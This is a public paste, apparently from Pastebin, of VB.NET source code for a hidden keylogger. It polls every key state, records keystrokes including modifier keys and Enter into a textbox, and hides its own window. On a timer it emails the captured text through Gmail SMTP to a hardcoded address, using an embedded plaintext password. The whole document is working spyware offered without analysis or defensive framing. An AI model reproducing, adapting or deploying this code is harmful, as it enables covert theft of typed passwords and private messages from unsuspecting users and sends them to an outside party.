Advertisement
Guest User

Untitled

a guest
Mar 7th, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.57 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4. Dim result As Integer
  5. Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
  6. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  7.  
  8. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  9. Timer1.Start()
  10. Timer2.Start()
  11. Timer3.Start()
  12.  
  13. End Sub
  14. Public Function GetCapslock() As Boolean
  15.  
  16.  
  17. GetCapslock = CBool(GetKeyState(&H14) And 1)
  18.  
  19. End Function
  20.  
  21. Public Function GetShift() As Boolean
  22.  
  23.  
  24.  
  25. GetShift = CBool(GetAsyncKeyState(&H10))
  26.  
  27. End Function
  28. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  29. For i As Integer = 1 To 225
  30. result = 0
  31. result = GetAsyncKeyState(i)
  32. If result = -32767 Then
  33. If GetCapslock() = True And GetShift() = True Then
  34. Select Case (i)
  35. Case 192
  36. TextBox1.Text = TextBox1.Text + "~"
  37. Case 1
  38.  
  39. Case 64 To 90
  40. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  41. Case 97 To 122
  42. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  43. Case 32
  44. TextBox1.Text = TextBox1.Text + " "
  45. Case 48
  46. TextBox1.Text = TextBox1.Text + ")"
  47. Case 49
  48. TextBox1.Text = TextBox1.Text + "!"
  49. Case 50
  50. TextBox1.Text = TextBox1.Text + "@"
  51. Case 51
  52. TextBox1.Text = TextBox1.Text + "#"
  53. Case 52
  54. TextBox1.Text = TextBox1.Text + "$"
  55. Case 53
  56. TextBox1.Text = TextBox1.Text + "%"
  57. Case 54
  58. TextBox1.Text = TextBox1.Text + "^"
  59. Case 55
  60. TextBox1.Text = TextBox1.Text + "&"
  61. Case 56
  62. TextBox1.Text = TextBox1.Text + "*"
  63. Case 57
  64. TextBox1.Text = TextBox1.Text + "("
  65. Case 8
  66. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  67. Case 46
  68. TextBox1.Text = TextBox1.Text + "[Del]"
  69. Case 190
  70. TextBox1.Text = TextBox1.Text + ">"
  71. Case 16
  72. Case 160 To 165
  73. Case 17
  74. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  75. Case 18
  76. TextBox1.Text = TextBox1.Text + "[Alt]"
  77. Case 189
  78. TextBox1.Text = TextBox1.Text + "_"
  79. Case 187
  80. TextBox1.Text = TextBox1.Text + "+"
  81. Case 219
  82. TextBox1.Text = TextBox1.Text + "{"
  83. Case 221
  84. TextBox1.Text = TextBox1.Text + "}"
  85. Case 186
  86. TextBox1.Text = TextBox1.Text + ":"
  87. Case 222
  88. TextBox1.Text = TextBox1.Text + """"
  89. Case 188
  90. TextBox1.Text = TextBox1.Text + "<"
  91. Case 191
  92. TextBox1.Text = TextBox1.Text + "?"
  93. Case 220
  94. TextBox1.Text = TextBox1.Text + "|"
  95. Case 13
  96. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  97. Case 20
  98. Case 91
  99. Case 9
  100. TextBox1.Text = TextBox1.Text + " [Tab]"
  101. Case 2
  102. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  103. Case 37 To 40
  104. Case Else
  105. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  106. End Select
  107. End If
  108. If GetCapslock() = True And GetShift() = False Then
  109. Select Case (i)
  110. Case 91
  111. Case 1
  112.  
  113. Case 64 To 90
  114. TextBox1.Text = TextBox1.Text + Chr(i)
  115. Case 97 To 122
  116. TextBox1.Text = TextBox1.Text + Chr(i)
  117. Case 32
  118. TextBox1.Text = TextBox1.Text + " "
  119. Case 48 To 57
  120. TextBox1.Text = TextBox1.Text + Chr(i)
  121. Case 8
  122. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  123. Case 46
  124. TextBox1.Text = TextBox1.Text + "[Del]"
  125. Case 190
  126. TextBox1.Text = TextBox1.Text + "."
  127. Case 16
  128. Case 160 To 165
  129. Case 20
  130. Case 192
  131. TextBox1.Text = TextBox1.Text + "`"
  132. Case 189
  133. TextBox1.Text = TextBox1.Text + "-"
  134. Case 187
  135. TextBox1.Text = TextBox1.Text + "="
  136.  
  137. Case 219
  138. TextBox1.Text = TextBox1.Text + "["
  139. Case 221
  140. TextBox1.Text = TextBox1.Text + "]"
  141. Case 186
  142. TextBox1.Text = TextBox1.Text + ";"
  143. Case 222
  144. TextBox1.Text = TextBox1.Text + "'"
  145. Case 188
  146. TextBox1.Text = TextBox1.Text + ","
  147. Case 191
  148. TextBox1.Text = TextBox1.Text + "/"
  149. Case 220
  150. TextBox1.Text = TextBox1.Text + "\"
  151. Case 17
  152. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  153. Case 18
  154. TextBox1.Text = TextBox1.Text + "[Alt]"
  155. Case 13
  156. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  157. Case 9
  158. TextBox1.Text = TextBox1.Text + " [Tab]"
  159. Case 2
  160. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  161. Case 37 To 40
  162. Case Else
  163. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  164. End Select
  165. End If
  166. If GetCapslock() = False And GetShift() = True Then
  167. Select Case (i)
  168. Case 91
  169. Case 192
  170. TextBox1.Text = TextBox1.Text + "~"
  171. Case 1
  172.  
  173. Case 64 To 90
  174. TextBox1.Text = TextBox1.Text + Chr(i)
  175. Case 97 To 122
  176. TextBox1.Text = TextBox1.Text + Chr(i)
  177. Case 32
  178. TextBox1.Text = TextBox1.Text + " "
  179. Case 48
  180. TextBox1.Text = TextBox1.Text + ")"
  181. Case 49
  182. TextBox1.Text = TextBox1.Text + "!"
  183. Case 50
  184. TextBox1.Text = TextBox1.Text + "@"
  185. Case 51
  186. TextBox1.Text = TextBox1.Text + "#"
  187. Case 52
  188. TextBox1.Text = TextBox1.Text + "$"
  189. Case 53
  190. TextBox1.Text = TextBox1.Text + "%"
  191. Case 54
  192. TextBox1.Text = TextBox1.Text + "^"
  193. Case 55
  194. TextBox1.Text = TextBox1.Text + "&"
  195. Case 56
  196. TextBox1.Text = TextBox1.Text + "*"
  197. Case 57
  198. TextBox1.Text = TextBox1.Text + "("
  199. Case 8
  200. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  201. Case 46
  202. TextBox1.Text = TextBox1.Text + "[Del]"
  203. Case 190
  204. TextBox1.Text = TextBox1.Text + ">"
  205. Case 16
  206. Case 160 To 165
  207. Case 17
  208. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  209. Case 18
  210. TextBox1.Text = TextBox1.Text + "[Alt]"
  211. Case 189
  212. TextBox1.Text = TextBox1.Text + "_"
  213. Case 187
  214. TextBox1.Text = TextBox1.Text + "+"
  215. Case 219
  216. TextBox1.Text = TextBox1.Text + "{"
  217. Case 221
  218. TextBox1.Text = TextBox1.Text + "}"
  219. Case 186
  220. TextBox1.Text = TextBox1.Text + ":"
  221. Case 222
  222. TextBox1.Text = TextBox1.Text + """"
  223. Case 188
  224. TextBox1.Text = TextBox1.Text + "<"
  225. Case 191
  226. TextBox1.Text = TextBox1.Text + "?"
  227. Case 220
  228. TextBox1.Text = TextBox1.Text + "|"
  229. Case 13
  230. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  231. Case 9
  232. TextBox1.Text = TextBox1.Text + " [Tab]"
  233. Case 20
  234. Case 2
  235. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  236. Case 37 To 40
  237. Case Else
  238. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  239. End Select
  240. End If
  241. If GetCapslock() = False And GetShift() = False Then
  242. Select Case (i)
  243. Case 1
  244.  
  245. Case 64 To 90
  246. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  247. Case 97 To 122
  248. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  249. Case 32
  250. TextBox1.Text = TextBox1.Text + " "
  251. Case 48 To 57
  252. TextBox1.Text = TextBox1.Text + Chr(i)
  253. Case 8
  254. TextBox1.Text = TextBox1.Text + "[BackSpace]"
  255. Case 46
  256. TextBox1.Text = TextBox1.Text + "[Del]"
  257. Case 190
  258. TextBox1.Text = TextBox1.Text + "."
  259. Case 16
  260. Case 160 To 165
  261. Case 20
  262. Case 192
  263. TextBox1.Text = TextBox1.Text + "`"
  264. Case 189
  265. TextBox1.Text = TextBox1.Text + "-"
  266. Case 187
  267. TextBox1.Text = TextBox1.Text + "="
  268. Case 91
  269. Case 219
  270. TextBox1.Text = TextBox1.Text + "["
  271. Case 221
  272. TextBox1.Text = TextBox1.Text + "]"
  273. Case 186
  274. TextBox1.Text = TextBox1.Text + ";"
  275. Case 222
  276. TextBox1.Text = TextBox1.Text + "'"
  277. Case 188
  278. TextBox1.Text = TextBox1.Text + ","
  279. Case 191
  280. TextBox1.Text = TextBox1.Text + "/"
  281. Case 220
  282. TextBox1.Text = TextBox1.Text + "\"
  283. Case 17
  284. TextBox1.Text = TextBox1.Text + "[Ctrl]"
  285. Case 18
  286. TextBox1.Text = TextBox1.Text + "[Alt]"
  287. Case 13
  288. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  289. Case 9
  290. TextBox1.Text = TextBox1.Text + " [Tab]"
  291. Case 2
  292. TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
  293. Case 37 To 40
  294.  
  295. Case Else
  296. TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
  297. End Select
  298. End If
  299.  
  300. End If
  301. Next i
  302. End Sub
  303.  
  304. Sub MainEvents()
  305.  
  306. Try
  307. Dim MyMailMessage As New MailMessage()
  308. MyMailMessage.From = New MailAddress("achatvente0705@gmail.com")
  309. MyMailMessage.To.Add("achatvente0705@gmail.com")
  310. MyMailMessage.Subject = "KL"
  311. MyMailMessage.Body = TextBox1.Text
  312. Dim SMPT As New SmtpClient("smtp.gmail.com")
  313. SMPT.Port = 587
  314. SMPT.EnableSsl = True
  315. SMPT.Credentials = New System.Net.NetworkCredential("achatvente0705@gmail.com", "achetervendre")
  316. SMPT.Send(MyMailMessage)
  317. TextBox1.Text = ""
  318. Catch ex As Exception
  319. End Try
  320. End Sub
  321.  
  322. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  323.  
  324. If TextBox1.Text <> "" Then
  325. MainEvents()
  326. End If
  327. End Sub
  328.  
  329. Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  330. Me.Visible = False
  331. Me.Hide()
  332. End Sub
  333.  
  334. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement